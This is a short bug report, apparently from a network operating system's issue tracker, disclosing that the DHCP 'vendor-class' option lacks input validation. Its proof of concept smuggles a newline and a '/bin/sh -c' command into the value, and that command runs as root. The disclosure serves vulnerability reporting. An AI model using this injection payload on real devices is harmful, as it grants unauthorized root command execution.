No sanity check of input of dhcp option `vendor-class`

[mattiaswal]

Current Behavior

admin@infix-00-00-00:/config/> set interface e1 ipv4 dhcp option vendor-class value `x"\nrun [2345] /bin/sh -c "id>/tmp/pwn"`
admin@infix-00-00-00:/config/> leave 
admin@infix-00-00-00:/> 
admin@infix-00-00-00:/> 
admin@infix-00-00-00:~$ ls /tmp/pwn
/tmp/pwn

This is run as user root

Expected Behavior

YANG validation error i think.

Steps To Reproduce

No response

Additional information

No response